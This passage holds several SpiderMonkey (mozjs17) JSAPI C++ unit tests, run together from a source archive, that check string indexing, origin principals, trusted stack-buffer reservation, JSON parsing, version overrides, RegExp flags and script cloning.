this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #include "tests.h" #include "jscntxt.h" #include "jscompartment.h" #include "jsnum.h" #include "jsstr.h" #include "vm/String-inl.h" using namespace mozilla; template JSFlatString * NewString(JSContext *cx, const jschar (&chars)[N]) { return js_NewStringCopyN(cx, chars, N); } static const struct TestPair { uint32_t num; const char *expected; } tests[] = { { 0, "0" }, { 1, "1" }, { 2, "2" }, { 9, "9" }, { 10, "10" }, { 15, "15" }, { 16, "16" }, { 17, "17" }, { 99, "99" }, { 100, "100" }, { 255, "255" }, { 256, "256" }, { 257, "257" }, { 999, "999" }, { 1000, "1000" }, { 4095, "4095" }, { 4096, "4096" }, { 9999, "9999" }, { 1073741823, "1073741823" }, { 1073741824, "1073741824" }, { 1073741825, "1073741825" }, { 2147483647, "2147483647" }, { 2147483648u, "2147483648" }, { 2147483649u, "2147483649" }, { 4294967294u, "4294967294" }, { 4294967295u, "4294967295" }, }; BEGIN_TEST(testIndexToString) { for (size_t i = 0, sz = ArrayLength(tests); i < sz; i++) { uint32_t u = tests[i].num; JSString *str = js::IndexToString(cx, u); CHECK(str); if (!js::StaticStrings::hasUint(u)) CHECK(cx->compartment->dtoaCache.lookup(10, u) == str); JSBool match = JS_FALSE; CHECK(JS_StringEqualsAscii(cx, str, tests[i].expected, &match)); CHECK(match); } return true; } END_TEST(testIndexToString) BEGIN_TEST(testStringIsIndex) { for (size_t i = 0, sz = ArrayLength(tests); i < sz; i++) { uint32_t u = tests[i].num; JSFlatString *str = js::IndexToString(cx, u); CHECK(str); uint32_t n; CHECK(str->isIndex(&n)); CHECK(u == n); } return true; } END_TEST(testStringIsIndex) BEGIN_TEST(testStringToPropertyName) { uint32_t index; static const jschar hiChars[] = { 'h', 'i' }; JSFlatString *hiStr = NewString(cx, hiChars); CHECK(hiStr); CHECK(!hiStr->isIndex(&index)); CHECK(hiStr->toPropertyName(cx) != NULL); static const jschar maxChars[] = { '4', '2', '9', '4', '9', '6', '7', '2', '9', '5' }; JSFlatString *maxStr = NewString(cx, maxChars); CHECK(maxStr); CHECK(maxStr->isIndex(&index)); CHECK(index == UINT32_MAX); static const jschar maxPlusOneChars[] = { '4', '2', '9', '4', '9', '6', '7', '2', '9', '6' }; JSFlatString *maxPlusOneStr = NewString(cx, maxPlusOneChars); CHECK(maxPlusOneStr); CHECK(!maxPlusOneStr->isIndex(&index)); CHECK(maxPlusOneStr->toPropertyName(cx) != NULL); return true; } END_TEST(testStringToPropertyName) mozjs17.0.0/js/src/jsapi-tests/testOriginPrincipals.cpp0000664000175000017500000000741312106270662023136 0ustar sstanglsstangl/* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #include "tests.h" #include "jsdbgapi.h" #include "jsobjinlines.h" JSPrincipals *sOriginPrincipalsInErrorReporter = NULL; static void ErrorReporter(JSContext *cx, const char *message, JSErrorReport *report) { sOriginPrincipalsInErrorReporter = report->originPrincipals; } JSPrincipals prin1 = { 1 }; JSPrincipals prin2 = { 1 }; BEGIN_TEST(testOriginPrincipals) { /* * Currently, the only way to set a non-trivial originPrincipal is to use * JS_EvaluateUCScriptForPrincipalsVersionOrigin. This does not expose the * compiled script, so we can only test nested scripts. */ CHECK(testOuter("function f() {return 1}; f;")); CHECK(testOuter("function outer() { return (function () {return 2}); }; outer();")); CHECK(testOuter("eval('(function() {return 3})');")); CHECK(testOuter("(function (){ return eval('(function() {return 4})'); })()")); CHECK(testOuter("(function (){ return eval('(function() { return eval(\"(function(){return 5})\") })()'); })()")); CHECK(testOuter("new Function('return 6')")); CHECK(testOuter("function f() { return new Function('return 7') }; f();")); CHECK(testOuter("eval('new Function(\"return 8\")')")); CHECK(testOuter("(new Function('return eval(\"(function(){return 9})\")'))()")); CHECK(testOuter("(function(){return function(){return 10}}).bind()()")); CHECK(testOuter("var e = eval; (function() { return e('(function(){return 11})') })()")); JS_SetErrorReporter(cx, ErrorReporter); CHECK(testError("eval(-)")); CHECK(testError("-")); CHECK(testError("new Function('x', '-')")); CHECK(testError("eval('new Function(\"x\", \"-\")')")); /* * NB: uncaught exceptions, when reported, have nothing on the stack so * both the filename and originPrincipals are null. E.g., this would fail: * * CHECK(testError("throw 3")); */ return true; } bool eval(const char *asciiChars, JSPrincipals *principals, JSPrincipals *originPrincipals, jsval *rval) { size_t len = strlen(asciiChars); jschar *chars = new jschar[len+1]; for (size_t i = 0; i < len; ++i) chars[i] = asciiChars[i]; chars[len] = 0; JS::RootedObject global(cx, JS_NewGlobalObject(cx, getGlobalClass(), principals)); CHECK(global); JSAutoCompartment ac(cx, global); CHECK(JS_InitStandardClasses(cx, global)); bool ok = JS_EvaluateUCScriptForPrincipalsVersionOrigin(cx, global, principals, originPrincipals, chars, len, "", 0, rval, JSVERSION_DEFAULT); delete[] chars; return ok; } bool testOuter(const char *asciiChars) { CHECK(testInner(asciiChars, &prin1, &prin1)); CHECK(testInner(asciiChars, &prin1, &prin2)); return true; } bool testInner(const char *asciiChars, JSPrincipals *principal, JSPrincipals *originPrincipal) { jsval rval; CHECK(eval(asciiChars, principal, originPrincipal, &rval)); JSScript *script = JS_GetFunctionScript(cx, JSVAL_TO_OBJECT(rval)->toFunction()); CHECK(JS_GetScriptPrincipals(script) == principal); CHECK(JS_GetScriptOriginPrincipals(script) == originPrincipal); return true; } bool testError(const char *asciiChars) { jsval rval; CHECK(!eval(asciiChars, &prin1, &prin2 /* = originPrincipals */, &rval)); CHECK(JS_ReportPendingException(cx)); CHECK(sOriginPrincipalsInErrorReporter == &prin2); return true; } END_TEST(testOriginPrincipals) mozjs17.0.0/js/src/jsapi-tests/testChromeBuffer.cpp0000664000175000017500000001466312106270662022236 0ustar sstanglsstangl/* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #include "tests.h" JSPrincipals system_principals = { 1 }; JSClass global_class = { "global", JSCLASS_IS_GLOBAL | JSCLASS_GLOBAL_FLAGS, JS_PropertyStub, JS_PropertyStub, JS_PropertyStub, JS_StrictPropertyStub, JS_EnumerateStub, JS_ResolveStub, JS_ConvertStub }; JSObject *trusted_glob = NULL; JSObject *trusted_fun = NULL; JSBool CallTrusted(JSContext *cx, unsigned argc, jsval *vp) { if (!JS_SaveFrameChain(cx)) return JS_FALSE; JSBool ok = JS_FALSE; { JSAutoCompartment ac(cx, trusted_glob); ok = JS_CallFunctionValue(cx, NULL, OBJECT_TO_JSVAL(trusted_fun), 0, NULL, vp); } JS_RestoreFrameChain(cx); return ok; } BEGIN_TEST(testChromeBuffer) { JS_SetTrustedPrincipals(rt, &system_principals); trusted_glob = JS_NewGlobalObject(cx, &global_class, &system_principals); CHECK(trusted_glob); if (!JS_AddNamedObjectRoot(cx, &trusted_glob, "trusted-global")) return false; if (!JS_AddNamedObjectRoot(cx, &trusted_fun, "trusted-function")) return false; JSFunction *fun; /* * Check that, even after untrusted content has exhausted the stack, code * compiled with "trusted principals" can run using reserved trusted-only * buffer space. */ { { JSAutoCompartment ac(cx, trusted_glob); const char *paramName = "x"; const char *bytes = "return x ? 1 + trusted(x-1) : 0"; JS::HandleObject global = JS::HandleObject::fromMarkedLocation(&trusted_glob); CHECK(fun = JS_CompileFunctionForPrincipals(cx, global, &system_principals, "trusted", 1, ¶mName, bytes, strlen(bytes), "", 0)); trusted_fun = JS_GetFunctionObject(fun); } jsval v = OBJECT_TO_JSVAL(trusted_fun); CHECK(JS_WrapValue(cx, &v)); const char *paramName = "trusted"; const char *bytes = "try { " " return untrusted(trusted); " "} catch (e) { " " return trusted(100); " "} "; CHECK(fun = JS_CompileFunction(cx, global, "untrusted", 1, ¶mName, bytes, strlen(bytes), "", 0)); jsval rval; CHECK(JS_CallFunction(cx, NULL, fun, 1, &v, &rval)); CHECK(JSVAL_TO_INT(rval) == 100); } /* * Check that content called from chrome in the reserved-buffer space * immediately ooms. */ { { JSAutoCompartment ac(cx, trusted_glob); const char *paramName = "untrusted"; const char *bytes = "try { " " untrusted(); " "} catch (e) { " " return 'From trusted: ' + e; " "} "; JS::HandleObject global = JS::HandleObject::fromMarkedLocation(&trusted_glob); CHECK(fun = JS_CompileFunctionForPrincipals(cx, global, &system_principals, "trusted", 1, ¶mName, bytes, strlen(bytes), "", 0)); trusted_fun = JS_GetFunctionObject(fun); } jsval v = OBJECT_TO_JSVAL(trusted_fun); CHECK(JS_WrapValue(cx, &v)); const char *paramName = "trusted"; const char *bytes = "try { " " return untrusted(trusted); " "} catch (e) { " " return trusted(untrusted); " "} "; CHECK(fun = JS_CompileFunction(cx, global, "untrusted", 1, ¶mName, bytes, strlen(bytes), "", 0)); jsval rval; CHECK(JS_CallFunction(cx, NULL, fun, 1, &v, &rval)); JSBool match; CHECK(JS_StringEqualsAscii(cx, JSVAL_TO_STRING(rval), "From trusted: InternalError: too much recursion", &match)); CHECK(match); } /* * Check that JS_SaveFrameChain called on the way from content to chrome * (say, as done by XPCJSContextSTack::Push) works. */ { { JSAutoCompartment ac(cx, trusted_glob); const char *bytes = "return 42"; JS::HandleObject global = JS::HandleObject::fromMarkedLocation(&trusted_glob); CHECK(fun = JS_CompileFunctionForPrincipals(cx, global, &system_principals, "trusted", 0, NULL, bytes, strlen(bytes), "", 0)); trusted_fun = JS_GetFunctionObject(fun); } JSFunction *fun = JS_NewFunction(cx, CallTrusted, 0, 0, global, "callTrusted"); JS::Anchor callTrusted(JS_GetFunctionObject(fun)); const char *paramName = "f"; const char *bytes = "try { " " return untrusted(trusted); " "} catch (e) { " " return f(); " "} "; CHECK(fun = JS_CompileFunction(cx, global, "untrusted", 1, ¶mName, bytes, strlen(bytes), "", 0)); jsval arg = OBJECT_TO_JSVAL(callTrusted.get()); jsval rval; CHECK(JS_CallFunction(cx, NULL, fun, 1, &arg, &rval)); CHECK(JSVAL_TO_INT(rval) == 42); } return true; } virtual void uninit() { JS_RemoveObjectRoot(cx, &trusted_glob); JS_RemoveObjectRoot(cx, &trusted_fun); JSAPITest::uninit(); } END_TEST(testChromeBuffer) mozjs17.0.0/js/src/jsapi-tests/testIntString.cpp0000664000175000017500000000265312106270662021604 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * vim: set ts=8 sw=4 et tw=99: */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #include "tests.h" #include "vm/String.h" BEGIN_TEST(testIntString_bug515273) { JS::RootedValue v(cx); EVAL("'1';", v.address()); JSString *str = JSVAL_TO_STRING(v); CHECK(JS_StringHasBeenInterned(cx, str)); CHECK(JS_FlatStringEqualsAscii(JS_ASSERT_STRING_IS_FLAT(str), "1")); EVAL("'42';", v.address()); str = JSVAL_TO_STRING(v); CHECK(JS_StringHasBeenInterned(cx, str)); CHECK(JS_FlatStringEqualsAscii(JS_ASSERT_STRING_IS_FLAT(str), "42")); EVAL("'111';", v.address()); str = JSVAL_TO_STRING(v); CHECK(JS_StringHasBeenInterned(cx, str)); CHECK(JS_FlatStringEqualsAscii(JS_ASSERT_STRING_IS_FLAT(str), "111")); /* Test other types of static strings. */ EVAL("'a';", v.address()); str = JSVAL_TO_STRING(v); CHECK(JS_StringHasBeenInterned(cx, str)); CHECK(JS_FlatStringEqualsAscii(JS_ASSERT_STRING_IS_FLAT(str), "a")); EVAL("'bc';", v.address()); str = JSVAL_TO_STRING(v); CHECK(JS_StringHasBeenInterned(cx, str)); CHECK(JS_FlatStringEqualsAscii(JS_ASSERT_STRING_IS_FLAT(str), "bc")); return true; } END_TEST(testIntString_bug515273) mozjs17.0.0/js/src/jsapi-tests/testParseJSON.cpp0000664000175000017500000001510312106270662021421 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * vim: set ts=8 sw=4 et tw=99: */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #include #include #include "tests.h" #include "jsstr.h" #include "vm/String.h" using namespace js; class AutoInflatedString { JSContext * const cx; jschar *chars_; size_t length_; public: AutoInflatedString(JSContext *cx) : cx(cx), chars_(NULL), length_(0) { } ~AutoInflatedString() { JS_free(cx, chars_); } template void operator=(const char (&str)[N]) { length_ = N - 1; chars_ = InflateString(cx, str, &length_); if (!chars_) abort(); } const jschar *chars() const { return chars_; } size_t length() const { return length_; } }; template JSFlatString * NewString(JSContext *cx, const jschar (&chars)[N]) { return js_NewStringCopyN(cx, chars, N); } BEGIN_TEST(testParseJSON_success) { // Primitives CHECK(TryParse(cx, "true", JSVAL_TRUE)); CHECK(TryParse(cx, "false", JSVAL_FALSE)); CHECK(TryParse(cx, "null", JSVAL_NULL)); CHECK(TryParse(cx, "0", INT_TO_JSVAL(0))); CHECK(TryParse(cx, "1", INT_TO_JSVAL(1))); CHECK(TryParse(cx, "-1", INT_TO_JSVAL(-1))); CHECK(TryParse(cx, "1", DOUBLE_TO_JSVAL(1))); CHECK(TryParse(cx, "1.75", DOUBLE_TO_JSVAL(1.75))); CHECK(TryParse(cx, "9e9", DOUBLE_TO_JSVAL(9e9))); CHECK(TryParse(cx, "9e99999", DOUBLE_TO_JSVAL(std::numeric_limits::infinity()))); JS::Rooted str(cx); const jschar emptystr[] = { '\0' }; str = js_NewStringCopyN(cx, emptystr, 0); CHECK(str); CHECK(TryParse(cx, "\"\"", STRING_TO_JSVAL(str))); const jschar nullstr[] = { '\0' }; str = NewString(cx, nullstr); CHECK(str); CHECK(TryParse(cx, "\"\\u0000\"", STRING_TO_JSVAL(str))); const jschar backstr[] = { '\b' }; str = NewString(cx, backstr); CHECK(str); CHECK(TryParse(cx, "\"\\b\"", STRING_TO_JSVAL(str))); CHECK(TryParse(cx, "\"\\u0008\"", STRING_TO_JSVAL(str))); const jschar newlinestr[] = { '\n', }; str = NewString(cx, newlinestr); CHECK(str); CHECK(TryParse(cx, "\"\\n\"", STRING_TO_JSVAL(str))); CHECK(TryParse(cx, "\"\\u000A\"", STRING_TO_JSVAL(str))); // Arrays JS::RootedValue v(cx), v2(cx); JS::RootedObject obj(cx); CHECK(Parse(cx, "[]", v.address())); CHECK(!JSVAL_IS_PRIMITIVE(v)); obj = JSVAL_TO_OBJECT(v); CHECK(JS_IsArrayObject(cx, obj)); CHECK(JS_GetProperty(cx, obj, "length", v2.address())); CHECK_SAME(v2, JSVAL_ZERO); CHECK(Parse(cx, "[1]", v.address())); CHECK(!JSVAL_IS_PRIMITIVE(v)); obj = JSVAL_TO_OBJECT(v); CHECK(JS_IsArrayObject(cx, obj)); CHECK(JS_GetProperty(cx, obj, "0", v2.address())); CHECK_SAME(v2, JSVAL_ONE); CHECK(JS_GetProperty(cx, obj, "length", v2.address())); CHECK_SAME(v2, JSVAL_ONE); // Objects CHECK(Parse(cx, "{}", v.address())); CHECK(!JSVAL_IS_PRIMITIVE(v)); obj = JSVAL_TO_OBJECT(v); CHECK(!JS_IsArrayObject(cx, obj)); CHECK(Parse(cx, "{ \"f\": 17 }", v.address())); CHECK(!JSVAL_IS_PRIMITIVE(v)); obj = JSVAL_TO_OBJECT(v); CHECK(!JS_IsArrayObject(cx, obj)); CHECK(JS_GetProperty(cx, obj, "f", v2.address())); CHECK_SAME(v2, INT_TO_JSVAL(17)); return true; } template inline bool Parse(JSContext *cx, const char (&input)[N], jsval *vp) { AutoInflatedString str(cx); str = input; CHECK(JS_ParseJSON(cx, str.chars(), str.length(), vp)); return true; } template inline bool TryParse(JSContext *cx, const char (&input)[N], const jsval &expectedArg) { AutoInflatedString str(cx); JS::RootedValue expected(cx, expectedArg); jsval v; str = input; CHECK(JS_ParseJSON(cx, str.chars(), str.length(), &v)); CHECK_SAME(v, expected); return true; } END_TEST(testParseJSON_success) BEGIN_TEST(testParseJSON_error) { CHECK(Error(cx, "[")); CHECK(Error(cx, "[,]")); CHECK(Error(cx, "[1,]")); CHECK(Error(cx, "{a:2}")); CHECK(Error(cx, "{\"a\":2,}")); CHECK(Error(cx, "]")); CHECK(Error(cx, "'bad string'")); CHECK(Error(cx, "\"")); CHECK(Error(cx, "{]")); CHECK(Error(cx, "[}")); return true; } template inline bool Error(JSContext *cx, const char (&input)[N]) { AutoInflatedString str(cx); jsval dummy; str = input; ContextPrivate p = {0, 0}; CHECK(!JS_GetContextPrivate(cx)); JS_SetContextPrivate(cx, &p); JSErrorReporter old = JS_SetErrorReporter(cx, reportJSONEror); JSBool ok = JS_ParseJSON(cx, str.chars(), str.length(), &dummy); JS_SetErrorReporter(cx, old); JS_SetContextPrivate(cx, NULL); CHECK(!ok); CHECK(!p.unexpectedErrorCount); CHECK(p.expectedErrorCount == 1); /* We do not execute JS, so there should be no exception thrown. */ CHECK(!JS_IsExceptionPending(cx)); return true; } struct ContextPrivate { unsigned unexpectedErrorCount; unsigned expectedErrorCount; }; static void reportJSONEror(JSContext *cx, const char *message, JSErrorReport *report) { ContextPrivate *p = static_cast(JS_GetContextPrivate(cx)); if (report->errorNumber == JSMSG_JSON_BAD_PARSE) p->expectedErrorCount++; else p->unexpectedErrorCount++; } END_TEST(testParseJSON_error) static JSBool Censor(JSContext *cx, unsigned argc, jsval *vp) { JS_ASSERT(argc == 2); #ifdef DEBUG jsval *argv = JS_ARGV(cx, vp); JS_ASSERT(JSVAL_IS_STRING(argv[0])); #endif JS_SET_RVAL(cx, vp, JSVAL_NULL); return true; } BEGIN_TEST(testParseJSON_reviver) { JSFunction *fun = JS_NewFunction(cx, Censor, 0, 0, global, "censor"); CHECK(fun); JS::RootedValue filter(cx, OBJECT_TO_JSVAL(JS_GetFunctionObject(fun))); CHECK(TryParse(cx, "true", filter)); CHECK(TryParse(cx, "false", filter)); CHECK(TryParse(cx, "null", filter)); CHECK(TryParse(cx, "1", filter)); CHECK(TryParse(cx, "1.75", filter)); CHECK(TryParse(cx, "[]", filter)); CHECK(TryParse(cx, "[1]", filter)); CHECK(TryParse(cx, "{}", filter)); return true; } template inline bool TryParse(JSContext *cx, const char (&input)[N], JS::HandleValue filter) { AutoInflatedString str(cx); JS::RootedValue v(cx); str = input; CHECK(JS_ParseJSONWithReviver(cx, str.chars(), str.length(), filter, v.address())); CHECK_SAME(v, JSVAL_NULL); return true; } END_TEST(testParseJSON_reviver) mozjs17.0.0/js/src/jsapi-tests/testVersion.cpp0000664000175000017500000002166112106270662021310 0ustar sstanglsstangl/* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #include "tests.h" #include "jsscript.h" #include "jscntxt.h" #include "jscntxtinlines.h" #include "jsobjinlines.h" using namespace js; struct VersionFixture; /* * Fast-native callbacks for use from JS. * They set their results on the current fixture instance. */ static VersionFixture *callbackData = NULL; JSBool CheckVersionHasMoarXML(JSContext *cx, unsigned argc, jsval *vp); JSBool DisableMoarXMLOption(JSContext *cx, unsigned argc, jsval *vp); JSBool CallSetVersion17(JSContext *cx, unsigned argc, jsval *vp); JSBool CheckNewScriptNoXML(JSContext *cx, unsigned argc, jsval *vp); JSBool OverrideVersion15(JSContext *cx, unsigned argc, jsval *vp); JSBool CaptureVersion(JSContext *cx, unsigned argc, jsval *vp); JSBool CheckOverride(JSContext *cx, unsigned argc, jsval *vp); JSBool EvalScriptVersion16(JSContext *cx, unsigned argc, jsval *vp); struct VersionFixture : public JSAPITest { JSVersion captured; virtual bool init() { if (!JSAPITest::init()) return false; JS_SetOptions(cx, JS_GetOptions(cx) | JSOPTION_ALLOW_XML); callbackData = this; captured = JSVERSION_UNKNOWN; JS::RootedObject global(cx, JS_GetGlobalObject(cx)); return JS_DefineFunction(cx, global, "checkVersionHasMoarXML", CheckVersionHasMoarXML, 0, 0) && JS_DefineFunction(cx, global, "disableMoarXMLOption", DisableMoarXMLOption, 0, 0) && JS_DefineFunction(cx, global, "callSetVersion17", CallSetVersion17, 0, 0) && JS_DefineFunction(cx, global, "checkNewScriptNoXML", CheckNewScriptNoXML, 0, 0) && JS_DefineFunction(cx, global, "overrideVersion15", OverrideVersion15, 0, 0) && JS_DefineFunction(cx, global, "captureVersion", CaptureVersion, 0, 0) && JS_DefineFunction(cx, global, "checkOverride", CheckOverride, 1, 0) && JS_DefineFunction(cx, global, "evalScriptVersion16", EvalScriptVersion16, 0, 0); } JSScript *fakeScript(const char *contents, size_t length) { JS::RootedObject global(cx, JS_GetGlobalObject(cx)); return JS_CompileScript(cx, global, contents, length, "", 1); } bool hasMoarXML(unsigned version) { return VersionHasMoarXML(JSVersion(version)); } bool hasMoarXML(JSScript *script) { return hasMoarXML(script->getVersion()); } bool hasMoarXML() { return OptionsHasMoarXML(JS_GetOptions(cx)); } bool disableMoarXMLOption() { JS_SetOptions(cx, JS_GetOptions(cx) & ~JSOPTION_MOAR_XML); return true; } bool checkVersionIsOverridden() { CHECK(cx->isVersionOverridden()); return true; } /* Check that script compilation results in a version without moar XML. */ bool checkNewScriptNoXML() { JSScript *script = fakeScript("", 0); CHECK(script); CHECK(!hasMoarXML(script->getVersion())); return true; } bool checkVersionHasMoarXML() { CHECK(VersionHasMoarXML(cx->findVersion())); return true; } bool setVersion(JSVersion version) { CHECK(JS_GetVersion(cx) != version); JS_SetVersion(cx, version); return true; } bool evalVersion(const jschar *chars, size_t len, JSVersion version) { CHECK(JS_GetVersion(cx) != version); jsval rval; JS::RootedObject global(cx, JS_GetGlobalObject(cx)); CHECK(JS_EvaluateUCScriptForPrincipalsVersion( cx, global, NULL, chars, len, "", 0, &rval, version)); return true; } bool toggleMoarXML(bool shouldEnable) { CHECK_EQUAL(hasMoarXML(), !shouldEnable); JS_ToggleOptions(cx, JSOPTION_MOAR_XML); CHECK_EQUAL(hasMoarXML(), shouldEnable); return true; } bool disableMoarXML() { return toggleMoarXML(false); } bool enableXML() { return toggleMoarXML(true); } }; /* Callbacks to throw into JS-land. */ JSBool CallSetVersion17(JSContext *cx, unsigned argc, jsval *vp) { return callbackData->setVersion(JSVERSION_1_7); } JSBool CheckVersionHasMoarXML(JSContext *cx, unsigned argc, jsval *vp) { return callbackData->checkVersionHasMoarXML(); } JSBool DisableMoarXMLOption(JSContext *cx, unsigned argc, jsval *vp) { return callbackData->disableMoarXMLOption(); } JSBool CheckNewScriptNoXML(JSContext *cx, unsigned argc, jsval *vp) { return callbackData->checkNewScriptNoXML(); } JSBool OverrideVersion15(JSContext *cx, unsigned argc, jsval *vp) { if (!callbackData->setVersion(JSVERSION_1_5)) return false; return callbackData->checkVersionIsOverridden(); } JSBool EvalScriptVersion16(JSContext *cx, unsigned argc, jsval *vp) { JS_ASSERT(argc == 1); jsval *argv = JS_ARGV(cx, vp); JS_ASSERT(JSVAL_IS_STRING(argv[0])); JSString *str = JSVAL_TO_STRING(argv[0]); const jschar *chars = str->getChars(cx); JS_ASSERT(chars); size_t len = str->length(); return callbackData->evalVersion(chars, len, JSVERSION_1_6); } JSBool CaptureVersion(JSContext *cx, unsigned argc, jsval *vp) { callbackData->captured = JS_GetVersion(cx); return true; } JSBool CheckOverride(JSContext *cx, unsigned argc, jsval *vp) { JS_ASSERT(argc == 1); jsval *argv = JS_ARGV(cx, vp); JS_ASSERT(JSVAL_IS_BOOLEAN(argv[0])); bool shouldHaveOverride = !!JSVAL_TO_BOOLEAN(argv[0]); return shouldHaveOverride == cx->isVersionOverridden(); } /* * See bug 611462. We are checking that the MOAR_XML option setting from a * JSAPI call is propagated to newly compiled scripts, instead of inheriting * the XML setting from a script on the stack. */ BEGIN_FIXTURE_TEST(VersionFixture, testVersion_OptionsAreUsedForVersionFlags) { callbackData = this; /* Enable XML and compile a script to activate. */ enableXML(); static const char toActivateChars[] = "checkVersionHasMoarXML();" "disableMoarXMLOption();" "callSetVersion17();" "checkNewScriptNoXML();"; JSScript *toActivate = fakeScript(toActivateChars, sizeof(toActivateChars) - 1); CHECK(toActivate); CHECK(hasMoarXML(toActivate)); disableMoarXML(); /* Activate the script. */ jsval dummy; CHECK(JS_ExecuteScript(cx, global, toActivate, &dummy)); return true; } END_FIXTURE_TEST(VersionFixture, testVersion_OptionsAreUsedForVersionFlags) /* * When re-entering the virtual machine through a *Version API the version * is no longer forced -- it continues with its natural push/pop oriented * version progression. This is maintained by the |AutoVersionAPI| class in * jsapi.cpp. */ BEGIN_FIXTURE_TEST(VersionFixture, testVersion_EntryLosesOverride) { EXEC("overrideVersion15(); evalScriptVersion16('checkOverride(false); captureVersion()');"); CHECK_EQUAL(captured, JSVERSION_1_6); /* * Override gets propagated to default version as non-override when you leave the VM's execute * call. */ CHECK_EQUAL(JS_GetVersion(cx), JSVERSION_1_5); CHECK(!cx->isVersionOverridden()); return true; } END_FIXTURE_TEST(VersionFixture, testVersion_EntryLosesOverride) /* * EvalScriptVersion does not propagate overrides to its caller, it * restores things exactly as they were before the call. This is as opposed to * the normal (no Version suffix) API which propagates overrides * to the caller. */ BEGIN_FIXTURE_TEST(VersionFixture, testVersion_ReturnLosesOverride) { CHECK_EQUAL(JS_GetVersion(cx), JSVERSION_ECMA_5); EXEC( "checkOverride(false);" "evalScriptVersion16('overrideVersion15();');" "checkOverride(false);" "captureVersion();" ); CHECK_EQUAL(captured, JSVERSION_ECMA_5); return true; } END_FIXTURE_TEST(VersionFixture, testVersion_ReturnLosesOverride) BEGIN_FIXTURE_TEST(VersionFixture, testVersion_EvalPropagatesOverride) { CHECK_EQUAL(JS_GetVersion(cx), JSVERSION_ECMA_5); EXEC( "checkOverride(false);" "eval('overrideVersion15();');" "checkOverride(true);" "captureVersion();" ); CHECK_EQUAL(captured, JSVERSION_1_5); return true; } END_FIXTURE_TEST(VersionFixture, testVersion_EvalPropagatesOverride) BEGIN_TEST(testVersion_AllowXML) { JSBool ok; static const char code[] = "var m = ;"; ok = JS_EvaluateScriptForPrincipalsVersion(cx, global, NULL, code, strlen(code), __FILE__, __LINE__, NULL, JSVERSION_ECMA_5); CHECK_EQUAL(ok, JS_FALSE); JS_ClearPendingException(cx); JS_SetOptions(cx, JS_GetOptions(cx) | JSOPTION_ALLOW_XML); ok = JS_EvaluateScriptForPrincipalsVersion(cx, global, NULL, code, strlen(code), __FILE__, __LINE__, NULL, JSVERSION_ECMA_5); CHECK_EQUAL(ok, JS_TRUE); return true; } END_TEST(testVersion_AllowXML) mozjs17.0.0/js/src/jsapi-tests/testRegExp.cpp0000664000175000017500000000265312106270662021055 0ustar sstanglsstangl/* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #include "tests.h" BEGIN_TEST(testObjectIsRegExp) { JS::RootedValue val(cx); EVAL("new Object", val.address()); JS::RootedObject obj(cx, JSVAL_TO_OBJECT(val)); CHECK(!JS_ObjectIsRegExp(cx, obj)); EVAL("/foopy/", val.address()); obj = JSVAL_TO_OBJECT(val); CHECK(JS_ObjectIsRegExp(cx, obj)); return true; } END_TEST(testObjectIsRegExp) BEGIN_TEST(testGetRegExpFlags) { JS::RootedValue val(cx); JS::RootedObject obj(cx); EVAL("/foopy/", val.address()); obj = JSVAL_TO_OBJECT(val); CHECK_EQUAL(JS_GetRegExpFlags(cx, obj), 0); EVAL("/foopy/g", val.address()); obj = JSVAL_TO_OBJECT(val); CHECK_EQUAL(JS_GetRegExpFlags(cx, obj), JSREG_GLOB); EVAL("/foopy/gi", val.address()); obj = JSVAL_TO_OBJECT(val); CHECK_EQUAL(JS_GetRegExpFlags(cx, obj), (JSREG_FOLD | JSREG_GLOB)); return true; } END_TEST(testGetRegExpFlags) BEGIN_TEST(testGetRegExpSource) { JS::RootedValue val(cx); JS::RootedObject obj(cx); EVAL("/foopy/", val.address()); obj = JSVAL_TO_OBJECT(val); JSString *source = JS_GetRegExpSource(cx, obj); CHECK(JS_FlatStringEqualsAscii(JS_ASSERT_STRING_IS_FLAT(source), "foopy")); return true; } END_TEST(testGetRegExpSource) mozjs17.0.0/js/src/jsapi-tests/testCloneScript.cpp0000664000175000017500000000717212106270662022111 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 4 -*- * vim: set ts=8 sw=4 et tw=99: * * Test script cloning. */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #include "tests.h" #include "jsdbgapi.h" BEGIN_TEST(test_cloneScript) { JS::RootedObject A(cx, createGlobal()); JS::RootedObject B(cx, createGlobal()); CHECK(A); CHECK(B); const char *source = "var i = 0;\n" "var sum = 0;\n" "while (i < 10) {\n" " sum += i;\n" " ++i;\n" "}\n" "(sum);\n"; JS::RootedObject obj(cx); // compile for A { JSAutoCompartment a(cx, A); JSFunction *fun; CHECK(fun = JS_CompileFunction(cx, A, "f", 0, NULL, source, strlen(source), __FILE__, 1)); CHECK(obj = JS_GetFunctionObject(fun)); } // clone into B { JSAutoCompartment b(cx, B); CHECK(JS_CloneFunctionObject(cx, obj, B)); } return true; } END_TEST(test_cloneScript) void DestroyPrincipals(JSPrincipals *principals) { delete principals; } struct Principals : public JSPrincipals { public: Principals() { refcount = 0; } }; class AutoDropPrincipals { JSRuntime *rt; JSPrincipals *principals; public: AutoDropPrincipals(JSRuntime *rt, JSPrincipals *principals) : rt(rt), principals(principals) { JS_HoldPrincipals(principals); } ~AutoDropPrincipals() { JS_DropPrincipals(rt, principals); } }; 